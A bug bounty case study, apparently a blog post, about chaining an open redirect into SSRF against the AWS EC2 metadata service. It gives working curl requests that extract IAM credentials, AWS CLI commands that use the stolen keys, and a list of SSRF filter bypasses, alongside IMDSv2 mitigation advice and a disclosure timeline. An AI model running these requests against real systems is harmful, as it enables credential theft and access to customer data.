SSRF to Internal AWS Metadata — A Bug Bounty Case Study
Tag: Web Hacking · Date: Oct 2025 · Read time: 11 min
This is a walkthrough of a bug bounty finding where I chained an open redirect with a blind SSRF to reach the EC2 instance metadata service (IMDS) and extract IAM credentials. The full chain took about 3 hours to find and exploit.
Discovery — Finding the Open Redirect
During recon on *.target.com, httpx flagged a subdomain with an unusual redirect parameter:
https://api.target.com/v2/redirect?url=https://example.com
Testing with an external URL confirmed it redirected without validation:
curl -I "https://api.target.com/v2/redirect?url=https://attacker.com"
# HTTP/2 302
# location: https://attacker.com
Pivoting to SSRF
The redirect endpoint was used internally by a PDF generation service. When I passed an internal URL, the server fetched it:
# Test with internal IP
curl -I "https://api.target.com/v2/redirect?url=http://169.254.169.254/"
# HTTP/2 200
# content-type: text/html
The response body contained the EC2 metadata root:
latest/
1.0/
2007-01-19/
2007-03-01/
...
Extracting IAM Credentials
# Get IAM role name
curl "https://api.target.com/v2/redirect?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response: app-production-role
# Get credentials
curl "https://api.target.com/v2/redirect?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-production-role"
Response:
{
"Code": "Success",
"LastUpdated": "2025-10-14T08:23:11Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2025-10-14T14:23:11Z"
}
Assessing the Impact
With temporary IAM credentials, I tested what the role could access:
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# What can this role do?
aws sts get-caller-identity
aws iam list-attached-role-policies --role-name app-production-role
# Test S3 access
aws s3 ls
# Test EC2
aws ec2 describe-instances --region us-east-1
The role had s3:GetObject on a bucket containing customer PII — Critical severity.
The Full Attack Chain
1. Open redirect at /v2/redirect?url=
↓
2. PDF service fetches the redirect target server-side
↓
3. Redirect target = http://169.254.169.254/ (IMDS)
↓
4. IMDS returns IAM role credentials
↓
5. Credentials used to access S3 bucket with customer PII
Bypassing SSRF Filters
If the endpoint had basic SSRF protection, these bypasses are worth trying:
# Decimal IP
http://2130706433/ # 127.0.0.1 in decimal
# Octal
http://0177.0.0.1/
# IPv6
http://[::1]/
http://[::ffff:169.254.169.254]/
# DNS rebinding (requires controlled domain)
# A record: 169.254.169.254
# URL encoding
http://169.254.169.254%2F
# Double URL encoding
http://169%2E254%2E169%2E254/
# IMDSv2 bypass (if v1 is disabled, try v2 token endpoint)
# PUT http://169.254.169.254/latest/api/token
IMDSv2 — The Mitigation
AWS introduced IMDSv2 which requires a PUT request with a TTL header before GET requests work. This breaks most SSRF chains because SSRF typically only allows GET.
# IMDSv2 — requires PUT first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/"
Recommendation: Enforce IMDSv2 on all EC2 instances:
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxx \
--http-tokens required \
--http-endpoint enabled
Disclosure Timeline
| Date | Event |
|---|---|
| Oct 3, 2025 | Initial discovery of open redirect |
| Oct 4, 2025 | SSRF confirmed, IMDS reached |
| Oct 4, 2025 | IAM credentials extracted, impact assessed |
| Oct 5, 2025 | Report submitted via HackerOne |
| Oct 7, 2025 | Triaged as Critical |
| Oct 12, 2025 | Fix deployed (IMDSv2 enforced + redirect validation) |
| Oct 14, 2025 | Bounty paid |
Key Takeaways
- Open redirects aren't just phishing vectors — they're SSRF enablers when used by server-side services
- Always test redirect parameters against 169.254.169.254 — it's the first thing to try on AWS
- IMDSv2 is not optional — enforce it on every EC2 instance
- Validate redirect targets server-side — allowlist expected domains, reject everything else